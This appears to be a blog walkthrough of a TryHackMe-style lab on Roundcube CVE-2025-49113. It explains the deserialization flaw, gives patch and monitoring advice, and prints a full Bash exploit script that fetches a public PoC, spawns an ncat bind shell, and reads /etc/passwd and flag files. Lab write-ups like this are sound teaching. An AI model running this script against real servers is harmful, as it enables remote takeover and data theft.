Roundcube is a free and open-source webmail software used by thousands of hosting providers and organizations around the world. It supports more than 80 languages, is highly extensible, and integrates well with various SQL backends. But even the most trusted tools can have cracks in their armor.
Recently, a critical vulnerability (CVE-2025-49113) was discovered in Roundcube versions 1.5.x and 1.6.x (prior to 1.5.10 and 1.6.11). This flaw allows authenticated remote code execution (RCE) via insecure PHP object deserialization. With a CVSS score of 9.9, this vulnerability is a ticking time bomb for any unpatched installation.
In this blog post, we’ll:
Advertisement
Break down what causes this vulnerability
Walk through the manual exploitation
Showcase an automated exploit script
Provide insights from a TryHackMe-style vulnerable lab
What Is CVE-2025-49113?
🔍 The Root Cause
The vulnerability stems from the upload.php endpoint in Roundcube, which mishandles the _from parameter by deserializing it without validating whether it contains safe data. If an attacker provides malicious serialized PHP data, it gets deserialized and executed — leading to arbitrary code execution on the target.
📦 Affected Versions
All 1.5.x before 1.5.10
All 1.6.x before 1.6.11
The issue was identified by Kirill Firsov, and patched commits clearly show added input validation using rcube_utils::is_simple_string() to sanitize the _from parameter.
Manual Exploitation
Let’s walk through how this exploit works in a lab using TryHackMe:
To speed things up, we created a fully automated Bash script that:
Clones the exploit
Runs it with a payload
Connects to the bind shell
Grabs Maggie’s last name
Dumps any /etc/ flag files
💻 Script: roundcube_exploit.sh
The complete automated exploit script is available on GitHub:
🔗 Download roundcube-exploit.sh (or scroll back if you're reading inline)
Advertisement
#!/bin/bash# Roundcube CVE-2025-49113 Exploit + Post Exploitation Automation# Author: Waseem Akram(hackerwasii)# Purpose: Shell, sniff Maggie, snag the flag# ----------------------------# CONFIGURATION# ----------------------------MACHINE_IP="$1"USERNAME="username" # Replace with actual usernamePASSWORD="password" # Replace with actual passwordPORT=4444EXPLOIT_DIR="CVE-2025-49113"EXPLOIT_REPO="https://github.com/fearsoff-org/CVE-2025-49113.git"EXPLOIT_FILE="CVE-2025-49113.php"TARGET_URL="http://$MACHINE_IP/roundcube"SHELL_PAYLOAD="ncat -lvnp $PORT -e /bin/bash"# ----------------------------# PRECHECKS# ----------------------------if [ -z "$MACHINE_IP" ]; then echo "[!] Usage: $0 <MACHINE_IP>" exit 1fifor tool in php git nc grep; do if ! command -v $tool &>/dev/null; then echo "[!] Missing required tool: $tool" exit 2 fidoneecho "[*] Launching exploit on Roundcube at $TARGET_URL..."# ----------------------------# CLONE EXPLOIT REPO# ----------------------------if [ ! -d "$EXPLOIT_DIR" ]; then echo "[*] Cloning PoC repo..." git clone "$EXPLOIT_REPO" || { echo "[!] Git clone failed."; exit 3; }ficd "$EXPLOIT_DIR" || exit# ----------------------------# RUN EXPLOIT# ----------------------------echo "[*] Executing exploit..."php "$EXPLOIT_FILE" "$TARGET_URL" "$USERNAME" "$PASSWORD" "$SHELL_PAYLOAD" &EXPLOIT_PID=$!# ----------------------------# WAIT FOR BIND SHELL TO SPAWN# ----------------------------sleep 6echo "[*] Connecting to bind shell on port $PORT..."( sleep 1 echo "whoami" sleep 1 echo "pwd" sleep 1 echo "echo '📜 Searching /etc/passwd for Maggie...'" echo "grep -i maggie /etc/passwd" sleep 1 echo "echo '🚩 Searching for flags in /etc...'" echo "find /etc -type f -iname '*flag*' 2>/dev/null | while read f; do echo \"--- Flag in: \$f ---\"; cat \"\$f\"; done" sleep 1 echo "echo '🤠 Done. Ride safe, partner.'" sleep 2) | nc "$MACHINE_IP" "$PORT"# ----------------------------# CLEANUP# ----------------------------kill $EXPLOIT_PID &>/dev/nullecho "[*] Script complete. If you saw Maggie’s last name and the flag, yer good to ride off into the sunset."echo "[*] Remember to patch Roundcube ASAP!"exit 0# End of script
Mitigation & Recommendations
Patch Immediately: Upgrade to 1.5.10 or 1.6.11.
Disable upload.php if the feature is unused.
Monitor traffic to upload.php for strange _from parameters.
Final Thoughts
This vulnerability is a great example of how dangerous PHP object deserialization can be when mishandled. While the exploit requires valid credentials, many shared hosting environments with weak passwords could be easily compromised.
Always audit your dependencies, stay updated, and sanitize all user inputs — especially those being deserialized.
🔐 Quick Recap for TryHackMe Users
Step
Action
✅
Log in as ellieptic
✅
Clone & run exploit
✅
Connect via netcat
✅
Dump /etc/passwd for Maggie's last name
✅
Read flag from /etc/
If you found this post helpful, please share it with your network. Together, we can make the web a safer place!
A detailed malware analysis walkthrough from Advent of Cyber 2025 Day 21, dissecting a malicious HTA file used for social engineering, data exfiltration, and PowerShell execution.
A hands-on walkthrough of Advent of Cyber 2025 Day 24, focusing on exploitation techniques using cURL in the Hoperation Eggsploit challenge. Learn how to leverage cURL for effective exploitation.
Decrypt a secret message encrypted with a shifting Caesar cipher and retrieve the flag in this TryHackMe walkthrough. Sharpen your cryptography skills by analyzing code to get the flag.